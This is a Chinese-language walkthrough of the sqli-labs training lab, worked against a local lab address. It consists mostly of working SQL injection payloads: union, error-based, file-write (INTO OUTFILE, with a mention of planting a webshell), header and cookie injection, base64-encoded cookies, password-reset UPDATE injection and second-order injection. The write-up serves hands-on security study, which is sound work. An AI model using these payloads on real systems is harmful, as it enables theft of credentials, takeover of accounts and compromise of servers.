一天一道吧。。。。
表:emails,referers,uagents,users
usrs字段:id,password,username
简单大思路,有回显优先联合查询(可能需要绕过),无回显优先报错注入(可能需要绕过),其次http体找注入点,最后盲注
如有其他提示根据提示找
一般sql注入思路:注入点 -> sql语句绕过过滤 -> 联合查询、盲注等
’绕过
http://192.168.1.28/sqli/Less-1/?id=-1' union select 1,2,group_concat(password,'~',username) from users--+
http://192.168.1.28/sqli/Less-2/?id=-1/**/union/**/select/**/1,2,group_concat(password,'~',username) from users#
‘)绕过
http://192.168.1.28/sqli/Less-3/?id=-1') union select 1,2,group_concat(password,'~',username) from users--+
”)绕过
http://192.168.1.28/sqli/Less-4/?id=-1") union select 1,2,group_concat(password,'~',username) from users--+
无回显所以’绕过报错注入
http://192.168.1.28/sqli/Less-5/?id=1' || extractvalue(1,concat(0x7e,(select(group_concat(password,'~',username))from(users))))--+
“绕过,同上
http://192.168.1.28/sqli/Less-6/?id=1" || extractvalue(1,concat(0x7e,(select(group_concat(password,'~',username))from(users))))--+
先看my.ini的secure_file_priv=有没有置空,如果没有可能无法导出或者只能在特定路径导出文件
路径可以自己改,这里用得最多的还是写一个一句话木马到某个路径,然后getshell
这里是默认文件导出在mysql的数据文件夹里
http://192.168.1.28/sqli/Less-7/?id=-1' )) union select id,username,password from users into outfile 'users.txt'--+
思路和上一道相同
http://192.168.1.28/sqli/Less-8/?id=-1' union select id,username,password from users into outfile '8.txt'--+
主要没有回显无法判断,所以只能盲打
http://192.168.1.28/sqli/Less-9/?id=-1' union select id,username,password from users into outfile '9.txt'--+
看不懂…
http://192.168.1.28/sqli/Less-10/?id=1" union select id,username,password from users into outfile '10.txt'--+
抓个包,POST传输,思路:弱口令、爆破或者注入,可以发现弱口令admin和admin就能正常登录
这里不用hackbar了,有点bug,改用header Live Sub插件
uname=admi' union select 1,group_concat(password,'~',username) from users--+&passwd=admin&submit=Submit
同11题个道理,绕过就行
uname=admi") union select 1,group_concat(password,'~',username) from users--+&passwd=admin&submit=Submit
没有正常登录时的回显,那就报错注入
uname=admin') || extractvalue(1,concat(0x7e,(select(group_concat(password,'~',username))from(users))))--+&passwd=admin&submit=Submit
uname=admin" || extractvalue(1,concat(0x7e,(select(group_concat(password,'~',username))from(users))))--+&passwd=admin&submit=Submit
要注意字段的数量不然会失败
uname=admin'union select username,password from users into outfile '15.txt'--+&passwd=admin&submit=Submit
或
时间盲注
uname=admin") union select username,password from users into outfile '16.txt'--+&passwd=admin&submit=Submit
或
时间盲注
像这种重置密码的,肯定跟UPDATE语句相关,这个地方其实挺危险的,无论是哪个参数能注入,都能把users表里密码全改了
比如这里把id为1的Dumb密码改成admin
uname=admin&passwd=admin' where id = 1--+&submit=Submit
好无聊啊~~
看提示应该是http头注入
User-Agent: ' || extractvalue(1,concat(0x7e,(select(group_concat(password,'~',username))from(users)))) or '
返回:XPATH syntax error: ‘adminDumb,I-kill-you~Angelina,’
想起迪总一句话,“对于渗透,我什么都不知道,我只会吃西瓜~”
Referer: ' || extractvalue(1,concat(0x7e,(select(group_concat(password,'~',username))from(users)))) or '
登录时抓包,改Cookie
Cookie: uname=admi' union select 1,2,group_concat(password,'~',username) from users--+
一直黑盒测试好头疼,也不喜欢用工具扫这些,所以还是白盒审计吧,刚好练练代码审计
用户名和密码都被check,多半是寄了
但cookie没有,无非多个括号绕过,在cookie上增加了base64编码,所以把注入语句都编码后再输入
任意登录,然后抓包,一直放包直到出现有uname的cookie的数据包
payload:
# 源语句:
admi') union select 1,group_concat(username),group_concat(password) from users#
# base64编码后:
YWRtaScpIHVuaW9uIHNlbGVjdCAxLGdyb3VwX2NvbmNhdCh1c2VybmFtZSksZ3JvdXBfY29uY2F0KHBhc3N3b3JkKSBmcm9tIHVzZXJzIw==
账号和密码都被check了
只能对cookie下手,分析源码,无非是对传入的cookie增加一对双引号,
所以末尾增加一个双引号绕开就ok,还要就是别忘了传入格式必须是base64编码
admi" union select 1,group_concat(username),group_concat(password) from users#
YWRtaSIgdW5pb24gc2VsZWN0IDEsZ3JvdXBfY29uY2F0KHVzZXJuYW1lKSxncm91cF9jb25jYXQocGFzc3dvcmQpIGZyb20gdXNlcnMj
简单代码分析,把传入的id值进行–和#替换成空
测试正常执行payload
?id=1' '
爆库payload
?id=-1' union select 1,2,database() '
爆表payload
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '1
爆列名payload
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'= '1
爆值payload
?id=-1' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '1
懒了,直接拿seay审计看重点
mysql_real_escape_string()会转义字符,但不转义%、*、_等字符
login_create.php所有传入参数都会经过mysql_real_escape_string()转义,考虑二次注入的可能,所以对pass_change.php下手
可以发现并没有对传入的username参数值进行转义,可以利用,所以思路就是可以对任何存在用户无视旧密码认证来任意修改密码,这里选择修改用户Dumb的密码为aaa
先注册一个Dumb’ #的用户,修改密码,
语句执行前用户名没有被转义,
# 就会构造出
UPDATE users SET PASSWORD='$pass' where username='Dumb' #' and password='$curr_pass'
# 即执行
UPDATE users SET PASSWORD='$pass' where username='Dumb'
达到无旧密码验证而修改Dumb密码的目的